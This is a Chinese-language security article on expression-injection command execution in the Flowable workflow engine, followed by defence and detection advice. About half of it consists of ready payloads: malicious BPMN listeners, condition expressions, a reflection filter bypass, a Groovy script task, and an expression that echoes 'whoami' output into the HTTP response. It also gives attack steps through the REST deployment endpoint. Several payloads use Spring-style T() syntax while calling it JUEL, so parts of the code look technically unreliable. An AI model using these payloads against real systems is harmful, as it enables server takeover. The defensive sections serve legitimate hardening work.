Flowable漏洞攻防战:深入流程引擎的利用
字数 1104 2025-08-20 18:17:59
Flowable漏洞攻防战:深入流程引擎的利用分析
1. Flowable简介
Flowable是一个用Java编写的轻量级业务流程引擎,支持BPMN 2.0标准。主要功能包括:
- 部署BPMN2.0流程定义(XML格式)
- 创建流程实例
- 运行查询
- 访问活动或历史流程实例及相关数据
2. 漏洞原理
当Flowable的模板处于可控状态时,攻击者可通过添加恶意表达式实现命令执行。核心漏洞点在于:
- 表达式注入:Flowable支持在流程定义中使用表达式(如
${expression}) - 未过滤的危险函数:表达式引擎允许调用Java类和危险方法
3. 漏洞利用条件
- 能够上传或修改流程定义文件(BPMN XML)
- 目标系统使用默认配置或未严格过滤表达式
- 目标系统使用易受攻击的Flowable版本
4. 漏洞利用方法
4.1 基本利用方式
在BPMN XML文件中插入恶意表达式:
<flowable:executionListener event="start" expression="${T(java.lang.Runtime).getRuntime().exec('calc')}"/>
4.2 多种注入点
-
执行监听器(Execution Listener)
<flowable:executionListener event="start" class="org.flowable.engine.impl.bpmn.listener.ScriptExecutionListener"> <flowable:field name="script"> <flowable:string><![CDATA[${T(java.lang.Runtime).getRuntime().exec('calc')}]]></flowable:string> </flowable:field> <flowable:field name="language"> <flowable:string>juel</flowable:string> </flowable:field> </flowable:executionListener> -
任务监听器(Task Listener)
<flowable:taskListener event="create" expression="${T(java.lang.Runtime).getRuntime().exec('calc')}"/> -
条件表达式(Condition Expression)
<sequenceFlow id="flow1" sourceRef="startEvent1" targetRef="task1"> <conditionExpression xsi:type="tFormalExpression">${T(java.lang.Runtime).getRuntime().exec('calc')}</conditionExpression> </sequenceFlow>
4.3 绕过技巧
-
使用反射绕过过滤
${''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('calc')} -
使用ScriptTask
<scriptTask id="scriptTask1" name="Script Task" scriptFormat="groovy"> <script><![CDATA[Runtime.getRuntime().exec("calc")]]></script> </scriptTask> -
使用JUEL表达式
${T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec('whoami').getInputStream(), T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream())}
5. 防御措施
-
配置安全策略
- 限制表达式引擎可访问的类和方法
- 使用
flowable-expression-restrictor.properties配置白名单
-
输入验证
- 对上传的BPMN文件进行严格校验
- 过滤危险表达式模式
-
安全配置
// 禁用危险功能 processEngineConfiguration.setEnableSafeBpmnXml(true); processEngineConfiguration.setDisableIdmEngine(true); -
版本升级
- 及时更新到最新安全版本
-
最小权限原则
- Flowable引擎运行账户使用最小必要权限
6. 检测方法
-
静态分析
- 检查BPMN XML文件中是否包含
${和危险类名 - 搜索
Runtime,ProcessBuilder,ScriptEngine等关键词
- 检查BPMN XML文件中是否包含
-
动态测试
- 尝试插入无害表达式测试是否执行
- 使用DNSLog等工具测试外连
7. 实际案例分析
案例1:通过REST API上传恶意BPMN
- 获取认证凭据
- 通过
/flowable-rest/repository/deployments上传恶意BPMN - 触发流程执行
案例2:模板注入
- 找到模板编辑功能
- 插入恶意表达式
- 保存并触发模板渲染
8. 漏洞修复代码示例
// 自定义表达式限制器
public class CustomExpressionRestrictor implements ExpressionRestrictor {
@Override
public boolean isFunctionAllowed(String functionName) {
// 只允许特定白名单函数
return Arrays.asList("now", "currentUser").contains(functionName);
}
@Override
public boolean isMethodAllowed(Class<?> clazz, String methodName) {
// 禁止所有危险类
if (clazz == Runtime.class || clazz == ProcessBuilder.class) {
return false;
}
return true;
}
}
// 配置引擎时使用
processEngineConfiguration.setExpressionRestrictor(new CustomExpressionRestrictor());
9. 总结
Flowable引擎的表达式功能在提供灵活性的同时带来了安全风险。通过本文分析,我们了解到:
- 多种注入点和利用方式
- 高级绕过技术
- 全面的防御方案
- 实际检测和修复方法
安全使用Flowable需要开发者在便利性和安全性之间找到平衡,严格限制表达式的执行环境,并对用户输入进行充分验证。